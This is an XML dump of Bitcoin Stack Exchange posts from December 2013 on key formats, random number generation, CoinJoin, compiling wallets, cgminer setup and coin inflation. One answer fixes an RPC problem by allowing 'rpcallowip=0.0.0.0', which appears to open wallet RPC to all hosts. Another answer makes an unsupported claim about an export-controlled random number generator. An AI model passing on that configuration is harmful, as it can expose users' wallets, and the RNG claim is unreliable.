  <row Id="19158" PostTypeId="2" ParentId="19147" CreationDate="2013-12-21T15:14:18.873" Score="3" Body="&lt;p&gt;A private key is a 256-bit number. You can represent it using only digits (so there is no need for lowercase letters). However, if you want to use the &lt;a href=&quot;https://en.bitcoin.it/wiki/Wallet_import_format&quot; rel=&quot;nofollow&quot;&gt;Wallet import format&lt;/a&gt; to represent the key, then you will need both upper and lower case letters (keys are encoded in &lt;a href=&quot;https://en.bitcoin.it/wiki/Base58Check_encoding&quot; rel=&quot;nofollow&quot;&gt;Base58&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="3041" LastActivityDate="2013-12-21T15:14:18.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19159" PostTypeId="1" AcceptedAnswerId="19203" CreationDate="2013-12-21T16:00:13.110" Score="1" ViewCount="88" Body="&lt;p&gt;I was recently looking at the safest way to set up an online bitcoin service. When looking for security concerns I ran across this post on stackexchange &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10686/what-are-the-risks-of-running-an-online-store-via-a-bitcoind-connection-using-le/11523#11523&quot;&gt;What are the risks of running an online store via a bitcoind connection using less than the minimum of 8 connections?&lt;/a&gt; under the main question Stephen Gornick talks about how allowing inbound connections on 0 conf could open you up to huge double spends. I looked all over for the reason for this but was hoping someone could explain this vulnerability to me.&lt;/p&gt;&#xA;" OwnerUserId="11189" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2013-12-22T08:10:26.947" Title="Inbound connection merchant risk" Tags="|doublespend|merchants|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19160" PostTypeId="1" CreationDate="2013-12-21T16:06:30.860" Score="1" ViewCount="323" Body="&lt;p&gt;I have compiled bitoin-qt, PTS coin and other alt-coins successfully, but they can't run concurrently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use MinGW4.4, QT 4.8.5 downloaded from website and QT creator 2.8.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my .pro setting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BOOST_LIB_SUFFIX=-mgw44-mt-s-1_53&#xA;BOOST_INCLUDE_PATH=D:/C/coin/namecoinq/libs/boost_1_53_0&#xA;BOOST_LIB_PATH=D:/C/coin/namecoinq/libs/boost_1_53_0/stage/lib&#xA;BDB_INCLUDE_PATH=D:/C/coin/namecoinq/libs/db-4.8.30.NC/build_unix&#xA;BDB_LIB_PATH=D:/C/coin/namecoinq/libs/db-4.8.30.NC/build_unix&#xA;OPENSSL_INCLUDE_PATH=D:/C/coin/namecoinq/libs/openssl-1.0.1e/include&#xA;OPENSSL_LIB_PATH=D:/C/coin/namecoinq/libs/openssl-1.0.1e&#xA;MINIUPNPC_INCLUDE_PATH=D:/C/coin/namecoinq/libs&#xA;MINIUPNPC_LIB_PATH=D:/C/coin/namecoinq/libs/miniupnpc-1.8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I uncommented this code for MinGW4.4 doesn't support it (I've used MinGW 4.6, 4.7, and 4.8; but they all failed just at compiling) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#win32:QMAKE_LFLAGS *= -Wl,--dynamicbase -Wl,--nxcompat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These are all compiled by MinG W4.4 successfully, but both the resulting debug and release executables fail to run. I have copied the Qt DLLs to the EXE direction. When I debugged it, it crashed before entering the main source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;======================UPDATE edit==========================&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it's because of leveldb,but I don't know what's wrong with my compiling leveldb:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; TARGET_OS=NATIVE_WINDOWS mingw32-make libleveldb.a libmemenv.a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I use another altercoin leveldb source code,the error solves.But I use back to the original leveldb source code,the program breaks again.&lt;/p&gt;&#xA;" OwnerUserId="11057" LastEditorUserId="11057" LastEditDate="2013-12-22T09:37:59.193" LastActivityDate="2013-12-22T09:37:59.193" Title="bitcoin-qt compiles successfully but runs fail" Tags="|client|bitcoin-core|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19161" PostTypeId="1" AcceptedAnswerId="19169" CreationDate="2013-12-21T16:36:58.083" Score="4" ViewCount="181" Body="&lt;p&gt;The number of possible Bitcoin private/public keypair is very strong (2^160 which is 1,461501637×10⁴⁸).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if the random generator is not good enough, only a subset of all that &quot;space&quot; could be used which would considerably break the security of Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That kind of problem has already happened, like that &lt;a href=&quot;https://www.schneier.com/blog/archives/2008/05/random_number_b.html&quot; rel=&quot;nofollow&quot;&gt;Debian bug in the OpenSSL package&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can we be sure that random generation is done so it could generated all private/public keypair from the possible &quot;space&quot; ?&lt;/p&gt;&#xA;" OwnerUserId="10084" LastActivityDate="2013-12-21T18:52:28.813" Title="Are generated public/private keypair the most random possible?" Tags="|address|random|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19162" PostTypeId="2" ParentId="19161" CreationDate="2013-12-21T17:11:16.477" Score="1" Body="&lt;p&gt;The source code is open take a look for yourself. I am no expert on cryptography though so I will leave the explanation of this to someone who is. This is the file that you would want to look over &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/key.h&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/src/key.h&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11189" LastActivityDate="2013-12-21T17:11:16.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19163" PostTypeId="2" ParentId="16649" CreationDate="2013-12-21T17:31:55.897" Score="15" Body="&lt;p&gt;Alice wants to transfer 1 BTC from address A to address B&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bob wants to transfer 1 BTC from address C to address D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CoinJoin gives them a way to combine their transfers into a single transaction that has two inputs (A and C) and two outputs (B and D). Someone observing the blockchain no longer knows which one of the outputs is Alice's and which one is Bob's. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because of some cryptographic magic behind the scenes, the participants of the shared transaction (there can be more than two of them) do not have to trust each other. Compared to traditional Bitcoin mixers, there is no possibility of coins being stolen. Also, CoinJoin transactions are compact and incur no additional fees (besides the usual transaction fees)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an example of a CoinJoin transaction: &lt;a href=&quot;https://blockchain.info/tx/e4abb15310348edc606e597effc81697bfce4b6de7598347f17c2befd4febf3b&quot;&gt;https://blockchain.info/tx/e4abb15310348edc606e597effc81697bfce4b6de7598347f17c2befd4febf3b&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain.info has already implemented CoinJoin support (branded as Shared Coin) into their web wallet. &lt;/p&gt;&#xA;" OwnerUserId="11190" LastActivityDate="2013-12-21T17:31:55.897" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19167" PostTypeId="2" ParentId="17769" CreationDate="2013-12-21T18:12:17.300" Score="0" Body="&lt;p&gt;I tried out the &lt;a href=&quot;http://reviewoutlaw.com/how-to-start-mining-quarks-bitcoins-mining-the-simple-guide/&quot; rel=&quot;nofollow&quot;&gt;http://reviewoutlaw.com/how-to-start-mining-quarks-bitcoins-mining-the-simple-guide/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seemed to work the Best&lt;/p&gt;&#xA;" OwnerUserId="11194" LastActivityDate="2013-12-21T18:12:17.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19168" PostTypeId="2" ParentId="19142" CreationDate="2013-12-21T18:21:56.877" Score="-1" Body="&lt;p&gt;Actually messages are signed using the private key and verified using the public key. If you'd be able to sign and verify only with the public key, that wouldn't make sense and it wouldn't stop anybody from reading your messages and signing them with your public key, which as the name states, is public.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2013-12-21T18:21:56.877" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19169" PostTypeId="2" ParentId="19161" CreationDate="2013-12-21T18:25:45.037" Score="0" Body="&lt;p&gt;Thanks to &lt;a href=&quot;https://bitcoin.stackexchange.com/users/11189/mschuett&quot;&gt;maschuett&lt;/a&gt;’s answer, I looked at the source code and &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/wallet.cpp#L36&quot; rel=&quot;nofollow noreferrer&quot;&gt;CWallet::GenerateNewKey&lt;/a&gt; function calls &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/2aed2b30b112aaaf7d46df4fd947648ca8df4e67/src/key.cpp#L361&quot; rel=&quot;nofollow noreferrer&quot;&gt;CKey.MakeNewKey&lt;/a&gt; which uses &lt;a href=&quot;https://www.openssl.org/docs/crypto/RAND_bytes.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;OpenSSL RAND_bytes&lt;/a&gt; to generate random number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trusting OpenSSL, I think random number generation is secure enough. :-)&lt;/p&gt;&#xA;" OwnerUserId="10084" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-12-21T18:25:45.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19170" PostTypeId="2" ParentId="19161" CreationDate="2013-12-21T18:52:28.813" Score="-1" Body="&lt;p&gt;There is a dirt simple, decades old, extremely fast, random number generator that is around ten lines of C code that is extremely random. Orders of magnitude more random and faster than any of the &quot;Numerical Recipes in C&quot;. The problem is the technology is export controlled, and thus can't be legally incorporated into an open source code base...&lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2013-12-21T18:52:28.813" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19171" PostTypeId="2" ParentId="19141" CreationDate="2013-12-21T19:02:52.913" Score="1" Body="&lt;p&gt;Figured it out.  It had to do with adding &lt;strong&gt;rpcallowip&lt;/strong&gt; lines to the config file.  Adding these three lines solved it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;rpcallowip=127.0.0.1&#xA;rpcallowip=192.168.1.*&#xA;rpcallowip=0.0.0.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The last line is what eventually allowed it to work.  I'm not sure why, but netstat said it was listening on 0.0.0.0:22556, so adding 0.0.0.0 to the rpcallowip list solved it.&lt;/p&gt;&#xA;" OwnerUserId="11176" LastActivityDate="2013-12-21T19:02:52.913" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19172" PostTypeId="1" AcceptedAnswerId="23581" CreationDate="2013-12-21T19:37:25.487" Score="5" ViewCount="170" Body="&lt;p&gt;Most of the time that a regular user gets introduced to the concept of mining, they're immediately non-incentivized by the community and also by the high-cost of hardware compared to the actual reward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the steady difficulty growing and the environment around mining getting more competitive, it's pretty much a highly-specialized task where only large corporations with enough connections to buy cheap mining hardware can actually make an investment out of mining. Not the regular user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we fast-forward a couple of years I see this becoming more and more centralized and only few organizations will be able to actually afford mining. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, how do we keep it decentralized and not resort to a situation where the power of the entire network resides only within few large corporations?&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="5406" LastEditDate="2016-03-31T16:11:34.010" LastActivityDate="2016-03-31T16:11:34.010" Title="Incentive for mining by regular users" Tags="|mining-pools|mining-profitability|hashpower|decentralization|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19173" PostTypeId="1" AcceptedAnswerId="19174" CreationDate="2013-12-21T19:50:04.423" Score="2" ViewCount="3306" Body="&lt;p&gt;I live in the US, have US bank accounts, and would like to buy Bitcoins, but with limit orders, e.g. place a limit order for 1 BTC = US$500 or less, and wait for several weeks to see it fulfilled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are reasonable options for me?  I know that Mt. Gox offers such limit orders, but to get money to them requires expensive and time consuming international wire transfers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An ideal solution would enable to me to place a limit order to buy Bitcoins with a transfer from my US bank account.  I can easily transfer USD from my US bank account with ACH or a US wire transfer.  However, I am open to any reasonable solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions are appreciated!&lt;/p&gt;&#xA;" OwnerUserId="6988" LastActivityDate="2017-10-18T19:23:30.540" Title="Recommendations on how to buy Bitcoins with limit orders" Tags="|buy-bitcoins|exchange-order|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19174" PostTypeId="2" ParentId="19173" CreationDate="2013-12-21T20:11:58.090" Score="2" Body="&lt;p&gt;This answer is no longer applicable, since CampBX is shutting down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;s&gt;&lt;a href=&quot;https://campbx.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;CampBX&lt;/a&gt; offers limit orders, and allows US residents to deposit dollars by mailing postal money orders, or (after a verification process) personal checks.&lt;/s&gt;&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="5757" LastEditDate="2017-10-18T19:23:30.540" LastActivityDate="2017-10-18T19:23:30.540" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19178" PostTypeId="1" CreationDate="2013-12-21T20:51:22.993" Score="2" ViewCount="461" Body="&lt;p&gt;I've created a second local wallet in my multibit. The first wallet is aimed for receiving and sending coins, while the second one is aimed to separate savings.&#xA;Is there a way to transfer coins between these two local wallets without paying fees ?&#xA;It is possible in a normal bank account but the fees here are really too big.&#xA;Thanks for your help :)&lt;/p&gt;&#xA;" OwnerUserId="11201" LastActivityDate="2013-12-21T21:01:04.497" Title="Multibit : transferring coins between local wallets" Tags="|wallet|multibit|local|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19179" PostTypeId="2" ParentId="19178" CreationDate="2013-12-21T21:01:04.497" Score="1" Body="&lt;p&gt;You need to send the coins to an address in your second wallet.  MultiBit maintains each wallet as a separate file on disk, so there is no interaction between them.  One suggestion (which is how I handle this) is to wait until your wallet reaches a large enough amount and then make a single send request to your savings address.  This bundles multiple input transactions into a single output transaction with a single fee.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2013-12-21T21:01:04.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19180" PostTypeId="1" CreationDate="2013-12-21T21:41:25.057" Score="1" ViewCount="57" Body="&lt;p&gt;One of the common arguments against Bitcoin is the energy consumed by the network. The total hash-power of the network can be obtained fairly easily, but I'd like to estimate how much of that is due to ASIC, how much to FPGAs and how much to GPUs (if anybody's still using them). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there were a way to separate the population of different ASICs themselves, a much better estimate could be made about the total power consumed by the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas??&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2013-12-21T21:41:25.057" Title="Which percentage of miners are using ASICs vs GPUs or FPGA? Is it possible to know?" Tags="|network|energy-consumption|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19181" PostTypeId="2" ParentId="5368" CreationDate="2013-12-21T21:45:43.183" Score="0" Body="&lt;p&gt;Probably a step before quantum computers could be ASICs designed using either balanced ternary or imaginary quaternary as their computing bases. Both these bases have slight advantages over binary, as was exposed by Knuth. The Soviets even created a ternary computer, too bad their effort wasn't followed up...&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2013-12-21T21:45:43.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19182" PostTypeId="2" ParentId="19038" CreationDate="2013-12-21T22:43:01.667" Score="1" Body="&lt;p&gt;Since the blockchain is a publically verifiable ordered list of transactions, many (but not all) registries, for which we currently trust a central organisation, and pay fees, could be replaced by a bitcoin-like blockchain. A typical example, for names, is &lt;a href=&quot;http://en.wikipedia.org/wiki/Namecoin&quot; rel=&quot;nofollow&quot;&gt;Namecoin&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I said &quot;many&quot;, not all, because registries can also ensure other services, besides &quot;pure&quot; registration.&lt;/p&gt;&#xA;" OwnerUserId="8827" LastActivityDate="2013-12-21T22:43:01.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19183" PostTypeId="1" CreationDate="2013-12-21T22:43:06.130" Score="5" ViewCount="2950" Body="&lt;p&gt;There is a lot of criticsm and debate over whether bitcoins will ultomately fail because of its deflationary nature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to debate if that's the case or not and I also understand that the goal of bitcoin was to have a fixed amount of coins so that there is no risk of (hyper)inflation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm wondering is, would it be technically possible for a crypto currency to have a fixed target inflation rate? For example the european central bank has a target inflation rate of 2% (I think) which is supposed to stimulate growth while at the same time avoiding over-inflation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I guess my question boils down to: Why are all popular crypto currencies deflationary? Is it a technical problem that cannot be solved or is there another reason it was designed like this?&lt;/p&gt;&#xA;" OwnerUserId="11205" LastActivityDate="2020-12-08T19:53:43.383" Title="Why are all popular crypto currencies deflationary?" Tags="|currencies|deflation|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19184" PostTypeId="1" AcceptedAnswerId="19189" CreationDate="2013-12-21T22:58:18.017" Score="2" ViewCount="28922" Body="&lt;p&gt;I have downloaded cgminer for linux and uncompressed it and tried to run it but clicking on the executable file does nothing it is marked as executable and still does not run. Is there something else I should do?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to open this file: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FdUvA.png&quot; alt=&quot;File I tryed to open&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;Here is a screenshot from the directory cgminer is in from the &quot;ls&quot; command&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vdAja.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11172" LastEditorUserId="5406" LastEditDate="2016-04-25T21:08:49.250" LastActivityDate="2017-11-15T10:42:36.153" Title="How do you install cgminer on ubuntu" Tags="|miner-configuration|cgminer|ubuntu|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="19185" PostTypeId="2" ParentId="17880" CreationDate="2013-12-21T23:23:26.350" Score="2" Body="&lt;p&gt;I'd check out the python library &lt;a href=&quot;https://github.com/halfmoonlabs/coinkit&quot; rel=&quot;nofollow&quot;&gt;Coinkit&lt;/a&gt; - it's for generating cryptocurrency wallets (Bitcoin, Namecoin, Litecoin, Peercoin, Primecoin, Dogecoin and a bunch of others are currently supported).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just do &quot;pip install coinkit&quot;.&lt;/p&gt;&#xA;" OwnerUserId="6767" LastEditorUserId="6767" LastEditDate="2014-01-15T18:04:54.043" LastActivityDate="2014-01-15T18:04:54.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19186" PostTypeId="2" ParentId="10645" CreationDate="2013-12-21T23:30:58.827" Score="1" Body="&lt;p&gt;You are correct that the hex representations of the private keys and public keys are the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the difference between various cryptocurrency wallets lies in how the private keys and addresses are commonly displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a preference for displaying private keys in &quot;wallet import format&quot; (WIF) and addresses in &quot;base58check&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first digit of these numbers is determined by what's called the &quot;version byte&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Bitcoin, the WIF version byte is 128 (resulting in WIF keys starting with a &quot;5&quot;), while the address version byte is 0 (resulting in addresses starting with a &quot;1&quot;). For Litecoin, these leading numbers change to &quot;6&quot; and &quot;L&quot;, respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a table of version bytes and address prefixes: &lt;a href=&quot;https://en.bitcoin.it/wiki/List_of_address_prefixes&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/List_of_address_prefixes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you're interested in python code that can help you generate different types of wallets, without having to worry about version bytes, I'd check out the python library &lt;a href=&quot;https://github.com/halfmoonlabs/coinkit&quot; rel=&quot;nofollow&quot;&gt;Coinkit&lt;/a&gt; (just &quot;pip install coinkit&quot;).&lt;/p&gt;&#xA;" OwnerUserId="6767" LastEditorUserId="6767" LastEditDate="2014-01-15T18:06:21.580" LastActivityDate="2014-01-15T18:06:21.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19187" PostTypeId="2" ParentId="19183" CreationDate="2013-12-21T23:40:11.427" Score="7" Body="&lt;p&gt;There's no technical problem with making an inflationary crypto-currency. For Bitcoin, just changing the block reward schedule would do it. And there do exist crypto-currencies that have perpetual block rewards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is, the set of people who believe that inflationary currencies are good doesn't significantly overlap the set of people who think that currencies don't need to be managed by central banks. So there's not much of a market for such currencies. It's kind of like a veggie burger with bacon.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-21T23:40:11.427" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19188" PostTypeId="2" ParentId="19149" CreationDate="2013-12-21T23:43:13.813" Score="1" Body="&lt;p&gt;Nope. It's not. If you really think it's a flaw, explain some way you think it can do harm.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-21T23:43:13.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19189" PostTypeId="2" ParentId="19184" CreationDate="2013-12-21T23:51:45.253" Score="2" Body="&lt;p&gt;cgminer is a command-line software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open a Terminal and change the working directory to where you have your cgminer executable with the &lt;code&gt;cd&lt;/code&gt; command. For example, if you have it on the Desktop you have to use the following command: &lt;code&gt;cd ~/Desktop&lt;/code&gt; (where &lt;em&gt;~&lt;/em&gt; indicates your home directory).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, if necessary, mark it as an executable file with the &lt;code&gt;chmod +x cgminer&lt;/code&gt; command and finally run it with the &lt;code&gt;./cgminer&lt;/code&gt; command. Note that you will probably need to run it as the root user, so you probably want to run this command instead: &lt;code&gt;sudo cgminer&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also specify command line options. For example, if your pool URL is &lt;em&gt;&lt;a href=&quot;http://foobarpool.net:3333&quot; rel=&quot;nofollow&quot;&gt;http://foobarpool.net:3333&lt;/a&gt;&lt;/em&gt;, your username is &lt;em&gt;qwertie.1&lt;/em&gt; and your password is &lt;em&gt;1234&lt;/em&gt; you can run cgminer with the following command so it is preconfigured and will start working right away: &lt;code&gt;sudo cgminer -o http://foobarpool.net:3333 -u qwertie.1 -p 1234&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also specify lots of options for the GPU, fallback mining pools and other things. For a complete list, use this command: &lt;code&gt;cgminer --help&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="10862" LastActivityDate="2013-12-21T23:51:45.253" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="19191" PostTypeId="2" ParentId="19060" CreationDate="2013-12-22T00:11:43.967" Score="0" Body="&lt;p&gt;It really depends on what you call profit. If having more X means you made a profit, denominate in X!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to compare two trades you generally want to see if you ended up with more than you went in with. Did a buy result in a better sale, or vise versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;X can be loafs of bread, cars or preferably other currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately it is about increasing total wealth (I assume). That means you have to measure wealth. How you do that is up to you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be more direct: Pick either of those, or their value to a third currency. In the end what matters is how much you can buy with it, so picking a very stable third item is a smart move. If you care just about boosting these two numbers you can express your total value in one of the two.&lt;/p&gt;&#xA;" OwnerUserId="909" LastActivityDate="2013-12-22T00:11:43.967" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19192" PostTypeId="2" ParentId="19154" CreationDate="2013-12-22T00:18:59.273" Score="2" Body="&lt;p&gt;Transactions are very big. So one is very expensive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Less transactions is better for the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Large transactions, with old coins, do not need to pay fee. They can not be spammed with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any miner can choose a minimum fee. The miner chooses the math.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The commonly accepted fee is just chosen by bitcoin developers. It was their choice, no special math involved. We try to have a manageable amount of transactions per block.&lt;/p&gt;&#xA;" OwnerUserId="909" LastActivityDate="2013-12-22T00:18:59.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19194" PostTypeId="1" CreationDate="2013-12-22T01:47:56.630" Score="2" ViewCount="355" Body="&lt;p&gt;What’s to stop someone from gaming the system and creating millions of wallets, increasing their odds of accidental deposits?  If nothing else you could conceive of a DOS attack of sorts, where the addresses are all burned up.  This seems like a major flaw to me... regardless of how many possibilities there are, it's not infinite.&lt;/p&gt;&#xA;" OwnerUserId="11212" LastActivityDate="2013-12-22T01:56:58.283" Title="Gaming Bitcoin by generating millions of wallets" Tags="|hacking|gaming|" AnswerCount="1" CommentCount="6" ClosedDate="2013-12-22T04:08:31.377" ContentLicense="CC BY-SA 3.0" />
  <row Id="19195" PostTypeId="2" ParentId="19194" CreationDate="2013-12-22T01:56:58.283" Score="0" Body="&lt;p&gt;Nothing stops anyone from doing that. However, I don't think you'll find many people who agree that it's a &quot;major flaw&quot;. If that's a major flaw, then every system in existence has thousands of major flaws. When you say things like &quot;regardless of how many possibilities there are&quot; you're engaging in wild speculative fantasy.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-22T01:56:58.283" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="19196" PostTypeId="1" CreationDate="2013-12-22T03:05:58.473" Score="1" ViewCount="633" Body="&lt;p&gt;I'm trying to compile litecoin on macosx 10.8.5, I have Xcode installed along with command line tools and have built all recommended dependencies (boost db48 qt4-mac openssl miniupnpc). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I run &lt;code&gt;sudo make -f makefile.osx USE_UPNP=-&lt;/code&gt; I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;make[1]: llvm-g++: No such file or directory&#xA;make[1]: *** [db/builder.o] Error 1&#xA;make: *** [leveldb/libleveldb.a] Error 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help in this matter would be greatly appreciated, all my google searches have been in vain.&lt;/p&gt;&#xA;" OwnerUserId="11213" LastEditorUserId="132" LastEditDate="2013-12-23T14:48:00.013" LastActivityDate="2014-04-23T05:50:14.473" Title="Compiling litecoin on Macosx: llvm-g++ not found" Tags="|litecoin|compiling|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19197" PostTypeId="2" ParentId="19183" CreationDate="2013-12-22T05:03:50.297" Score="0" Body="&lt;p&gt;It is indeed technically possible. In fact, there have been some alt-coins that do have permanent inflation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PPCoin achieves it by creating 2 kinds of blocks: one the normal kind, where you have to demonstrate you made some work to get the block reward, and another one where you demonstrate you've been hoarding some coins for some time (proof-of-stake). First kind of reward has a cap (as in most other alt-coins) but the second doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some minor alt-coins don't halve the reward after a certain number of blocks - they may have or not a final coin cap, some indeed dispense with the coin limit. Unfortunately none of them seem to have really taken off or at least I can't remember a notable one right now.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2013-12-22T05:03:50.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
